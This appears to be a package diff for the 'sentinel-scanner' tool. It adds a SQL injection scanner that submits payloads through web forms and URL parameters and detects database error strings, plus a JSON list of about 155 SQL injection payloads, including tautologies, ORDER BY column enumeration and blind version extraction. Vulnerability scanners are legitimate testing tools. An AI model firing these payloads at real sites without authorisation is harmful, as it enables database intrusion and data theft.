sentinel-scanner 2.2.2 → 2.3.0

Sign up to get free protection for your applications and to get access to all the features.
@@ -0,0 +1,482 @@
1
+ import puppeteer, { type Page } from "puppeteer";
2
+ import UserAgent from "user-agents";
3
+ import type { Vulnerability } from "../../index.js";
4
+ import { createLogger, generateCVSS } from "../../utils/index.js";
5
+ import payloads from "./payloads.json";
6
+
7
+ export type SupportedDatabases =
8
+ | "MySQL"
9
+ | "PostgreSQL"
10
+ | "Microsoft SQL Server"
11
+ | "Microsoft Access"
12
+ | "Oracle"
13
+ | "IBM DB2"
14
+ | "SQLite"
15
+ | "Sybase";
16
+
17
+ export type SQLErrors = Record<SupportedDatabases, Array<string>>;
18
+
19
+ export type SqliConstructorOpts = {
20
+ // An Array of Links to scan for SQL Injection vulnerabilities On The Website
21
+ spiderResults: Array<string>;
22
+ retries?: number;
23
+ timeout?: number;
24
+ concurrency?: number;
25
+ };
26
+
27
+ export default class SqliScanner {
28
+ private logger = createLogger("SQLIScanner");
29
+ private spiderResults: Array<string> = [];
30
+ private retries = 3;
31
+ private timeout = 10000;
32
+ private vulnerabilities: Array<Vulnerability> = [];
33
+ private concurrency = 20;
34
+ private payloads: Array<string> = payloads;
35
+
36
+ constructor(opts: SqliConstructorOpts) {
37
+ try {
38
+ this.validateSpiderResults(opts.spiderResults);
39
+
40
+ this.spiderResults = opts.spiderResults;
41
+
42
+ if (opts.retries) {
43
+ this.retries = opts.retries;
44
+ }
45
+
46
+ if (opts.timeout) {
47
+ this.timeout = opts.timeout;
48
+ }
49
+
50
+ if (opts.concurrency) {
51
+ if (opts.concurrency < 1) {
52
+ throw new Error("Concurrency must be greater than 0");
53
+ }
54
+
55
+ if (opts.concurrency > 100) {
56
+ throw new Error("Concurrency must be less than or equal to 100");
57
+ }
58
+
59
+ this.concurrency = opts.concurrency;
60
+ }
61
+
62
+ this.logger.info(
63
+ `XSSScanner initialized with ${this.spiderResults.length} URLs, ${this.retries} retries, ${this.timeout}ms timeout, and ${this.concurrency} workers`,
64
+ );
65
+ } catch (error) {
66
+ throw new Error(`Error initializing XSSScanner: ${error}`);
67
+ }
68
+ }
69
+
70
+ private validateSpiderResults(spiderResults: Array<string>) {
71
+ if (!spiderResults) {
72
+ throw new Error("Missing required spiderResults parameter");
73
+ }
74
+
75
+ if (!Array.isArray(spiderResults)) {
76
+ throw new Error("spiderResults must be an array");
77
+ }
78
+
79
+ if (Array.isArray(spiderResults) && spiderResults.length === 0) {
80
+ throw new Error("spiderResults array cannot be empty");
81
+ }
82
+
83
+ spiderResults.some((url) => {
84
+ if (typeof url !== "string") {
85
+ throw new Error("spiderResults array must contain only strings");
86
+ }
87
+ });
88
+ }
89
+
90
+ private async fillFormIfExists(page: Page, url: string) {
91
+ try {
92
+ const formsExist = await page.evaluate(() => {
93
+ return document.forms.length > 0;
94
+ });
95
+
96
+ if (!formsExist) {
97
+ this.logger.info(`No forms found on ${url}`);
98
+ return;
99
+ }
100
+
101
+ this.logger.info(`Found forms on ${url}`);
102
+
103
+ for (const payload of payloads) {
104
+ if (typeof payload !== "string" || payload.length === 0) {
105
+ this.logger.warn(`Skipping malformed payload: "${payload}"`);
106
+ continue;
107
+ }
108
+
109
+ this.logger.info(`Testing payload "${payload}" on ${url}`);
110
+
111
+ const forms = await page.$$("form");
112
+
113
+ if (!forms || forms.length === 0) {
114
+ this.logger.info(`No forms found on ${url}`);
115
+ return;
116
+ }
117
+
118
+ for (const form of forms) {
119
+ const inputs = await form.$$("input");
120
+ for (const input of inputs) {
121
+ const type = await input.evaluate((node) => node.type);
122
+ switch (type) {
123
+ case "text":
124
+ case "email":
125
+ case "password":
126
+ case "number":
127
+ case "tel":
128
+ case "url":
129
+ case "search":
130
+ case "date":
131
+ case "time":
132
+ case "month":
133
+ case "week":
134
+ case "datetime-local":
135
+ await input.type(payload);
136
+ break;
137
+ case "checkbox":
138
+ case "radio":
139
+ await input.evaluate((node) => {
140
+ node.checked = true;
141
+ });
142
+ break;
143
+ }
144
+ }
145
+
146
+ const textAreas = await form.$$("textarea");
147
+ for (const textArea of textAreas) {
148
+ await textArea.type(payload);
149
+ }
150
+
151
+ const selects = await form.$$("select");
152
+ for (const select of selects) {
153
+ select.evaluate((node) => {
154
+ if (node.options.length > 0) {
155
+ node.selectedIndex = 0;
156
+ }
157
+ });
158
+ }
159
+
160
+ await form.evaluate((node) => node.submit());
161
+
162
+ /**
163
+ * Implement Check for SQL Injection Vulnerability
164
+ */
165
+ // Wait for the page to load after submitting the form
166
+ await page.waitForNavigation({
167
+ waitUntil: "domcontentloaded",
168
+ timeout: this.timeout,
169
+ });
170
+
171
+ // Capture the page content
172
+ const pageContent = await page.content();
173
+
174
+ const { isVulnerable, dbms } = this.checkContentForErrors(
175
+ pageContent,
176
+ url,
177
+ );
178
+
179
+ if (isVulnerable) {
180
+ this.logger.warn(
181
+ `Potential SQL Injection vulnerability found on ${url}`,
182
+ );
183
+
184
+ this.logger.info(`Database: ${dbms}`);
185
+
186
+ const cvssScore = generateCVSS({
187
+ accessVector: "N",
188
+ accessComplexity: "L",
189
+ attackRequirements: "P",
190
+ privilegesRequired: "N",
191
+ userInteraction: "A",
192
+ confidentialityImpact: "H",
193
+ });
194
+
195
+ this.logger.info(
196
+ `CVSS Score: ${cvssScore.score} (${cvssScore.level})`,
197
+ );
198
+
199
+ this.vulnerabilities.push({
200
+ type: cvssScore.level,
201
+ severity: cvssScore.score,
202
+ url,
203
+ description: `Potential SQL Injection vulnerability found on ${url} with payload: ${payload} and database: ${dbms}. This can be exploited to perform unauthorized actions on the database.`,
204
+ payloads: [payload],
205
+ });
206
+ }
207
+ }
208
+
209
+ this.logger.info(`Payload "${payload}" submitted on ${url}`);
210
+
211
+ await this.sleep(1000);
212
+ }
213
+ } catch (error) {
214
+ this.logger.error(`Error in fillFormIfExists for ${url}: ${error}`);
215
+ }
216
+ }
217
+
218
+ private async sleep(ms: number) {
219
+ return new Promise((resolve) => setTimeout(resolve, ms));
220
+ }
221
+
222
+ private chunkArray(array: Array<string>, size: number) {
223
+ const chunkedArray = [];
224
+ for (let i = 0; i < array.length; i += size) {
225
+ chunkedArray.push(array.slice(i, i + size));
226
+ }
227
+
228
+ return chunkedArray;
229
+ }
230
+
231
+ private async scanWithBrowser(urls: Array<string>) {
232
+ try {
233
+ const browser = await puppeteer.launch({
234
+ headless: true,
235
+ args: ["--no-sandbox", "--disable-setuid-sandbox"],
236
+ });
237
+
238
+ const userAgent = new UserAgent();
239
+
240
+ let [page] = await browser.pages();
241
+
242
+ if (!page) {
243
+ page = await browser.newPage();
244
+ }
245
+
246
+ await page.setUserAgent(userAgent.toString());
247
+
248
+ for (const url of urls) {
249
+ this.logger.info(`Navigating to ${url}`);
250
+
251
+ await page.goto(url, {
252
+ waitUntil: "domcontentloaded",
253
+ timeout: this.timeout,
254
+ });
255
+
256
+ await this.fillFormIfExists(page, url);
257
+ }
258
+
259
+ await browser.close();
260
+ } catch (error) {
261
+ this.logger.error(`Error in scan: ${error}`);
262
+ throw new Error(`Error in scan: ${error}`);
263
+ }
264
+ }
265
+
266
+ private async fetchWithRetries(
267
+ url: string,
268
+ retries: number,
269
+ method: "GET" | "POST" = "GET",
270
+ ): Promise<string | null> {
271
+ for (let attempt = 1; attempt <= retries; attempt++) {
272
+ const controller = new AbortController();
273
+ const timeoutId = setTimeout(() => controller.abort(), this.timeout);
274
+
275
+ try {
276
+ this.logger.debug(`Fetching URL (Attempt ${attempt}): ${url}`);
277
+ const randomUserAgent = new UserAgent().toString();
278
+ this.logger.info(`Changing User-Agent to: ${randomUserAgent}`);
279
+
280
+ const response = await fetch(url, {
281
+ headers: {
282
+ "User-Agent": randomUserAgent,
283
+ },
284
+ signal: controller.signal,
285
+ });
286
+
287
+ clearTimeout(timeoutId);
288
+
289
+ if (response.ok) {
290
+ this.logger.info(`Successfully fetched URL: ${url}`);
291
+ return await response.text();
292
+ }
293
+
294
+ this.logger.warn(`Failed to fetch URL (${response.status}): ${url}`);
295
+ } catch (error) {
296
+ if ((error as Error).name === "AbortError") {
297
+ this.logger.warn(`Fetch timed out: ${url}`);
298
+ } else {
299
+ this.logger.error(`Error fetching URL: ${url} - ${error}`);
300
+ }
301
+ }
302
+ }
303
+ return null;
304
+ }
305
+
306
+ private async scanWithParams(urls: Array<string>) {
307
+ try {
308
+ for (const url of urls) {
309
+ const urlToTest = new URL(url);
310
+ if (urlToTest.search === "" || urlToTest.search === null) {
311
+ this.logger.info(`No query parameters found in ${url}`);
312
+ continue;
313
+ }
314
+
315
+ const params = urlToTest.searchParams;
316
+
317
+ for (const [key, value] of params) {
318
+ for (const payload of this.payloads) {
319
+ const newUrl = new URL(url);
320
+ newUrl.searchParams.set(key, payload);
321
+
322
+ const response = await this.fetchWithRetries(newUrl.toString(), 3);
323
+
324
+ if (!response) {
325
+ this.logger.warn(`Failed to fetch URL: ${newUrl}`);
326
+ continue;
327
+ }
328
+
329
+ const { isVulnerable, dbms } = this.checkContentForErrors(
330
+ response,
331
+ newUrl.toString(),
332
+ );
333
+
334
+ if (isVulnerable) {
335
+ this.logger.warn(
336
+ `Potential SQL Injection vulnerability found on ${url}`,
337
+ );
338
+
339
+ const cvssScore = generateCVSS({
340
+ accessVector: "N",
341
+ accessComplexity: "L",
342
+ attackRequirements: "P",
343
+ privilegesRequired: "N",
344
+ userInteraction: "P",
345
+ confidentialityImpact: "H",
346
+ });
347
+
348
+ this.vulnerabilities.push({
349
+ type: cvssScore.level,
350
+ severity: cvssScore.score,
351
+ url,
352
+ description: `Potential SQL Injection vulnerability found on ${url} with payload: ${payload} and database: ${dbms}. This can be exploited to perform unauthorized actions on the database.`,
353
+ payloads: [payload],
354
+ });
355
+
356
+ this.logger.info(
357
+ `CVSS Score: ${cvssScore.score} (${cvssScore.level})`,
358
+ );
359
+
360
+ this.logger.info(`Database: ${dbms}`);
361
+ }
362
+
363
+ const postResponse = await this.fetchWithRetries(
364
+ newUrl.toString(),
365
+ 3,
366
+ "POST",
367
+ );
368
+
369
+ if (!postResponse) {
370
+ this.logger.warn(`Failed to fetch URL: ${newUrl}`);
371
+ continue;
372
+ }
373
+
374
+ const postDbms = this.checkContentForErrors(
375
+ postResponse,
376
+ newUrl.toString(),
377
+ );
378
+
379
+ if (postDbms.isVulnerable) {
380
+ this.logger.warn(
381
+ `Potential SQL Injection vulnerability found on ${url}`,
382
+ );
383
+
384
+ this.logger.info(`Database: ${postDbms.dbms}`);
385
+ }
386
+ }
387
+ }
388
+ }
389
+ } catch (error) {
390
+ this.logger.error(`Error in scan: ${error}`);
391
+ throw new Error(`Error in scan: ${error}`);
392
+ }
393
+ }
394
+
395
+ private checkContentForErrors(content: string, url: string) {
396
+ const errorPatterns = {
397
+ MySQL: [
398
+ "SQL syntax",
399
+ "MySQL",
400
+ "Warning mysql_",
401
+ "valid MySQL result",
402
+ "MySqlClient",
403
+ ],
404
+ PostgreSQL: [
405
+ "PostgreSQL ERROR",
406
+ "Warning pg_",
407
+ "valid PostgreSQL result",
408
+ "Npgsql",
409
+ ],
410
+ "Microsoft SQL Server": [
411
+ "Driver SQL Server",
412
+ "OLE DB SQL Server",
413
+ "SQL Server Driver",
414
+ "Warning mssql_",
415
+ "SQL Server",
416
+ "System.Data.SqlClient",
417
+ "Roadhouse.Cms",
418
+ ],
419
+ "Microsoft Access": [
420
+ "Microsoft Access Driver",
421
+ "JET Database Engine",
422
+ "Access Database Engine",
423
+ ],
424
+ Oracle: [
425
+ "ORA-",
426
+ "Oracle error",
427
+ "Oracle Driver",
428
+ "Warning oci_",
429
+ "Warning ora_",
430
+ ],
431
+ "IBM DB2": ["CLI Driver DB2", "DB2 SQL error", "db2_"],
432
+ SQLite: [
433
+ "SQLite/JDBCDriver",
434
+ "SQLite.Exception",
435
+ "System.Data.SQLite.SQLiteException",
436
+ "Warning sqlite_",
437
+ "Warning SQLite3::",
438
+ "SQLITE_ERROR",
439
+ ],
440
+ Sybase: ["Warning sybase", "Sybase message", "Sybase Server message"],
441
+ };
442
+
443
+ for (const [dbms, patterns] of Object.entries(errorPatterns)) {
444
+ for (const pattern of patterns) {
445
+ if (content.includes(pattern)) {
446
+ return {
447
+ dbms,
448
+ isVulnerable: true,
449
+ };
450
+ }
451
+ }
452
+ }
453
+
454
+ return {
455
+ dbms: null,
456
+ isVulnerable: false,
457
+ };
458
+ }
459
+
460
+ public async scan() {
461
+ try {
462
+ // Adjust the chunk size dynamically based on concurrency
463
+ const chunkedUrls = this.chunkArray(this.spiderResults, this.concurrency);
464
+
465
+ const promises = chunkedUrls.map(async (urls) => {
466
+ // Running both scans (with browser and parameters) in parallel
467
+ return Promise.allSettled([
468
+ this.scanWithBrowser(urls), // Scan with Puppeteer for forms
469
+ this.scanWithParams(urls), // Scan with URL parameters
470
+ ]);
471
+ });
472
+
473
+ // Wait for all scans to finish
474
+ await Promise.all(promises);
475
+
476
+ return this.vulnerabilities;
477
+ } catch (error) {
478
+ this.logger.error(`Error in scan: ${error}`);
479
+ throw new Error(`Error in scan: ${error}`);
480
+ }
481
+ }
482
+ }
@@ -0,0 +1,156 @@
1
+ [
2
+ "OR 1=1",
3
+ "OR 1=0",
4
+ "OR x=x",
5
+ "OR x=y",
6
+ "OR 1=1#",
7
+ "OR 1=0#",
8
+ "OR x=x#",
9
+ "OR x=y#",
10
+ "OR 1=1--",
11
+ "OR 1=0--",
12
+ "OR x=x--",
13
+ "OR x=y--",
14
+ "OR 3409=3409 AND ('pytW' LIKE 'pytW",
15
+ "OR 3409=3409 AND ('pytW' LIKE 'pytY",
16
+ "HAVING 1=1",
17
+ "HAVING 1=0",
18
+ "HAVING 1=1#",
19
+ "HAVING 1=0#",
20
+ "HAVING 1=1--",
21
+ "HAVING 1=0--",
22
+ "AND 1=1",
23
+ "AND 1=0",
24
+ "AND 1=1--",
25
+ "AND 1=0--",
26
+ "AND 1=1#",
27
+ "AND 1=0#",
28
+ "AND 1=1 AND '%'='",
29
+ "AND 1=0 AND '%'='",
30
+ "AND 1083=1083 AND (1427=1427",
31
+ "AND 7506=9091 AND (5913=5913",
32
+ "AND 1083=1083 AND ('1427=1427",
33
+ "AND 7506=9091 AND ('5913=5913",
34
+ "AND 7300=7300 AND 'pKlZ'='pKlZ",
35
+ "AND 7300=7300 AND 'pKlZ'='pKlY",
36
+ "AND 7300=7300 AND ('pKlZ'='pKlZ",
37
+ "AND 7300=7300 AND ('pKlZ'='pKlY",
38
+ "AS INJECTX WHERE 1=1 AND 1=1",
39
+ "AS INJECTX WHERE 1=1 AND 1=0",
40
+ "AS INJECTX WHERE 1=1 AND 1=1#",
41
+ "AS INJECTX WHERE 1=1 AND 1=0#",
42
+ "AS INJECTX WHERE 1=1 AND 1=1--",
43
+ "AS INJECTX WHERE 1=1 AND 1=0--",
44
+ "WHERE 1=1 AND 1=1",
45
+ "WHERE 1=1 AND 1=0",
46
+ "WHERE 1=1 AND 1=1#",
47
+ "WHERE 1=1 AND 1=0#",
48
+ "WHERE 1=1 AND 1=1--",
49
+ "WHERE 1=1 AND 1=0--",
50
+ "ORDER BY 1--",
51
+ "ORDER BY 2--",
52
+ "ORDER BY 3--",
53
+ "ORDER BY 4--",
54
+ "ORDER BY 5--",
55
+ "ORDER BY 6--",
56
+ "ORDER BY 7--",
57
+ "ORDER BY 8--",
58
+ "ORDER BY 9--",
59
+ "ORDER BY 10--",
60
+ "ORDER BY 11--",
61
+ "ORDER BY 12--",
62
+ "ORDER BY 13--",
63
+ "ORDER BY 14--",
64
+ "ORDER BY 15--",
65
+ "ORDER BY 16--",
66
+ "ORDER BY 17--",
67
+ "ORDER BY 18--",
68
+ "ORDER BY 19--",
69
+ "ORDER BY 20--",
70
+ "ORDER BY 21--",
71
+ "ORDER BY 22--",
72
+ "ORDER BY 23--",
73
+ "ORDER BY 24--",
74
+ "ORDER BY 25--",
75
+ "ORDER BY 26--",
76
+ "ORDER BY 27--",
77
+ "ORDER BY 28--",
78
+ "ORDER BY 29--",
79
+ "ORDER BY 30--",
80
+ "ORDER BY 31337--",
81
+ "ORDER BY 1#",
82
+ "ORDER BY 2#",
83
+ "ORDER BY 3#",
84
+ "ORDER BY 4#",
85
+ "ORDER BY 5#",
86
+ "ORDER BY 6#",
87
+ "ORDER BY 7#",
88
+ "ORDER BY 8#",
89
+ "ORDER BY 9#",
90
+ "ORDER BY 10#",
91
+ "ORDER BY 11#",
92
+ "ORDER BY 12#",
93
+ "ORDER BY 13#",
94
+ "ORDER BY 14#",
95
+ "ORDER BY 15#",
96
+ "ORDER BY 16#",
97
+ "ORDER BY 17#",
98
+ "ORDER BY 18#",
99
+ "ORDER BY 19#",
100
+ "ORDER BY 20#",
101
+ "ORDER BY 21#",
102
+ "ORDER BY 22#",
103
+ "ORDER BY 23#",
104
+ "ORDER BY 24#",
105
+ "ORDER BY 25#",
106
+ "ORDER BY 26#",
107
+ "ORDER BY 27#",
108
+ "ORDER BY 28#",
109
+ "ORDER BY 29#",
110
+ "ORDER BY 30#",
111
+ "ORDER BY 31337#",
112
+ "ORDER BY 1",
113
+ "ORDER BY 2",
114
+ "ORDER BY 3",
115
+ "ORDER BY 4",
116
+ "ORDER BY 5",
117
+ "ORDER BY 6",
118
+ "ORDER BY 7",
119
+ "ORDER BY 8",
120
+ "ORDER BY 9",
121
+ "ORDER BY 10",
122
+ "ORDER BY 11",
123
+ "ORDER BY 12",
124
+ "ORDER BY 13",
125
+ "ORDER BY 14",
126
+ "ORDER BY 15",
127
+ "ORDER BY 16",
128
+ "ORDER BY 17",
129
+ "ORDER BY 18",
130
+ "ORDER BY 19",
131
+ "ORDER BY 20",
132
+ "ORDER BY 21",
133
+ "ORDER BY 22",
134
+ "ORDER BY 23",
135
+ "ORDER BY 24",
136
+ "ORDER BY 25",
137
+ "ORDER BY 26",
138
+ "ORDER BY 27",
139
+ "ORDER BY 28",
140
+ "ORDER BY 29",
141
+ "ORDER BY 30",
142
+ "ORDER BY 31337",
143
+ "RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='",
144
+ "RLIKE (SELECT (CASE WHEN (4346=4347) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='",
145
+ "IF(7423=7424) SELECT 7423 ELSE DROP FUNCTION xcjl--",
146
+ "IF(7423=7423) SELECT 7423 ELSE DROP FUNCTION xcjl--",
147
+ "%' AND 8310=8310 AND '%'='",
148
+ "%' AND 8310=8311 AND '%'='",
149
+ "and (select substring(@@version,1,1))='X'",
150
+ "and (select substring(@@version,1,1))='M'",
151
+ "and (select substring(@@version,2,1))='i'",
152
+ "and (select substring(@@version,2,1))='y'",
153
+ "and (select substring(@@version,3,1))='c'",
154
+ "and (select substring(@@version,3,1))='S'",
155
+ "and (select substring(@@version,3,1))='X'"
156
+ ]
@@ -57,6 +57,7 @@ const getLevelOfVulnerability = (
57
57
 
58
58
  export const createLogger = (label: string) =>
59
59
  winston.createLogger({
60
+ level: "silly",
60
61
  levels: {
61
62
  error: 0,
62
63
  warn: 1,